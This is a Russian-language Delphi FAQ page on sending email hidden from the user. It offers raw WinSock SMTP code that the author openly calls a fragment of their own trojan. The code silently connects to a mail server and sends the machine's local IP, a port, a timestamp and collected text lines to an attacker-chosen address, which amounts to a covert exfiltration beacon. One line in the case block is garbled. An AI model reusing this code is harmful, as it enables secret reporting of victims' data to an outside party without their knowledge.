Delphi Faq
базы даных
графика и игры
интернет и сеть
компоненты и классы
мультимедиа
ос и железо
программа и интерфейс
рабочий стол
синтаксис
технологии
файловая система
 
 



на главную
Отправить Email скрытно от пользователя
Ну если не устраивает дельфовый SMTP клиент...

Вот вам кусок,написанный на WinSock API пробуйте разобраться... это будет посложнее чем компоненты от NetMasters юзать... (Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp) (каюсь, это кусок из моего трояна :)

function SMTPRecvReply(MailSocket: TSocket): Word;
var
Buffer: array[1..1024] of Byte;
Err: Integer;
BufStr: string;
begin
BufStr := '';
Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
for Err := 1 to 3 do
BufStr := BufStr + Chr(buffer[Err]);
try
Result := StrToInt(BufStr);
except
Result := 0;
end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
Buffer: array[1..1024] of Byte;
Err: Integer;
begin
Result := FALSE;
ZeroMemory(@Buffer, SizeOf(Buffer));
if Length(Str) > 1000 then
Exit;
for Err := 1 to Length(Str) do
Buffer[Err] := Ord(Str[Err]);
Buffer[Err] := 13;
Buffer[Err + 1] := 10;
Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
if Err > 0 then
Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
MailSocket: TSocket;
MailSent: Boolean;
MTime: TSystemTime;
SMTPServer: TSockAddrIn;
Step: Byte;
OutOfSend: Boolean;
begin
MailSent := FALSE;
OutOfSend := FALSE;
MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
SMTPServer.sin_family := AF_INET;
SMTPServer.sin_port := htons(25);
SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
Step := 0;
if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
repeat
case SMTPRecvReply(MailSocket) of
220: SMTPSendString(MailSocket, 'HELO server.com');
250: case STEP of
0:
begin
SMTPSendString(MailSocket, 'MAIL FROM:' + mail);
Inc(Step);
end;
1:
begin
SMTPSendString(MailSocket, 'RCPT TO:' + mail);
Inc(Step);
end;
2:
begin
SMTPSendString(MailSocket, 'DATA');
Inc(Step);
end;
3:
begin
SMTPSendString(MailSocket, 'QUIT');
Inc(Step);
end;
end;
354:
begin
SMTPSendString(MailSocket, 'From:' + ServerID);
SMTPSendString(MailSocket, 'To:' + UserName);
SMTPSendString(MailSocket, 'Subject:' + LocalIPS + ' : ' + port +
' At ' + DateTimeToStr(Now));
SMTPSendString(MailSocket, CRLF);
for count := 1 to (txt.Count - 1) do
SMTPSendString(MailSocket, txt[count]);
SMTPSendString(MailSocket, CRLF + '.' + CRLF);
end;
221:
begin
OutOfSend := True;
MailSent := True
end;
else
OutOfSend := True;
file: //!Case
end;
until OutOfSend;
CloseSocket(MailSocket);
end;
ExitThread(0);
end;